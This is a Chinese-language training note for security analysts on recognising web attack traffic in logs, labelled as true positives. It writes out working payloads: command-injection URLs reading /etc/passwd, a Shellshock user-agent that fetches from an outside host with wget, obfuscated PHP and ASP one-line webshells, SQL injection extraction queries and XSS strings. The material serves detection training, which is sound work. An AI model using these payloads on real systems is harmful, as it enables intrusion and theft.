样本一:命令执行
常见的命令攻击语句
GET /simple/tests/tmssql.php?do=phpinfo
GET /detail.php?id=/winnt/system32/cmd.exe?/c+dir+c:%5c
GET /cgi/maker/ptcmd.cgi?cmd=;cat+/tmp/config/usr.ini
GET /cgi/maker/ptcmd.cgi?cmd=;cat+/etc/passwd
攻击语句出现在Get 、post请求 URL参数中,尝试通过cmd传递touch tmp.txt创建文件,属于攻击行为,正报。
尝试调用cmd执行dir命令,属于正报
样本二:扫描工具
在User-agent种存在awvs的UA头,判定为扫描工具AWVS发起,属于正报
还有其他的异常UA:
-
恶意爬虫:Python-urllib/2.6、Baidu-YunGuanCe-ScanBot(ce.baidu.com)
-
扫描器:morfeus fucking scanner、Accept: acunetix/wvs
-
sql注入漏洞:sqlmap/1.0.8.15#dev (http://sqlmap.org)
-
xss攻击:
'%22()%26%25<ScRiPt%20>prompt(961668)
- 其它非常特殊攻击 :
User-Agent: () { :; }; /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -q -c http://lliillii.altervista.org/io.php 0<&1 2>&1
样本三:webshell通信
常见的一句话木马
<%eval request("sb")%><%execute request("sb")%><?php eval($_POST[sb]);?><?php @eval($_POST[sb]);?><?$_POST['sa']($_POST['sb']);?><?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?><%eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("123"))%><%r+k-es+k-p+k-on+k-se.co+k-d+k-e+k-p+k-age=936:e+k-v+k-a+k-l r+k-e+k-q+k-u+k-e+k-s+k-t("c")%>
#UTF-7编码格式的一句话木马<?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/*-*/0/*-/*-*/]);?>
蚁剑连接webshell的数据包,属于正报,确实是攻击行为,是否成功需要观察回包
样本四:SQL注入
探测语句
http://www.xx.com/showdetail.asp?id=49 and 1=1
http://www.xx.com/showdetail.asp?id=49 or 1=1
and char(124)%2Buser%2Bchar(124)=0(注入类型判断)
权限判断
and user>0 用户名
and 1=(select IS_SRVROLEMEMBER('sysadmin')) 权限
and exists (select * from sysobjects) 数据库类型判断sqlserver
查询数据
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 查库名
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 查表名
and (select count(字段名) from 表名)>0 猜字段
and (select top 1 len(username) from admin)=X 才字段值
http://localhost/mytest/sqlinject/?id=1+UNION+SELECT+1,password,3,username,5,6,7,8,9+FROM+user union select猜解法
and ascii(lower(substring((select top 1 name from sysobjects where xtype='u'), 1, 1))) > 116
下面数据包中GET请求传递的参数存在sql探测语句和联合注入语句,判定为正报
下面数据包的POST请求传参,存在sql注入语句,属于正报,并且UA头属于sqlmap工具的UA头
下面属于宽字节注入。存在明显的SQL注入语句,系正报。
样本五:XSS攻击
常见的xss攻击语句
<script>alert("xss")</script> #脚本
<img src="javascript:alert('xss');"> #属性
<img src="http://ha.ckers.org/xss.jpg">
<body onload=alert('xss')> #事件
<div style="background-image: url(javascript:alert('xss'))">
<style type="text/javascript">alert('xss');</style>
<style>@import'javascript:alert("xss")';</style>
<link rel="stylesheet" href="http://ha.ckers.org/xss.css">
数据包中,GET型传参存在明显的XSS攻击语句,系正报
样本六:信息泄露
配置文件访问
httpd.conf
htaccess
HTPASSWD
boot.ini
etc/passwd
Php.ini
Web.xml
信息泄露攻击一般指的是读取敏感的文件
下面这个数据包就是尝试读取Windows系统C盘Windows目录下的win.ini文件,属于正报,是否成功需要看回包
尝试读取配置文件web.config
,属于正报
样本七:敏感后缀及目录探测
特殊后缀
.mdb、 .sql
.bak、.sav、.old、.las
.tmp、.temp
.rar、.zip、.bz、gzip、tar
.conf、inc、ini、bat
.log、stats、statistics
Web.xml
样本八:应答报文提示信息
目录浏览:Parent Directory、Directory Listing For、Index of /、Welcome to the directory listing
错误信息:数据库错误信息、程序错误信息、错误信息、数据库错误信息、程序错误信息
下面是目录浏览漏洞的浏览器的展示
数据包的展示效果如下,也是存在目录浏览漏洞
图片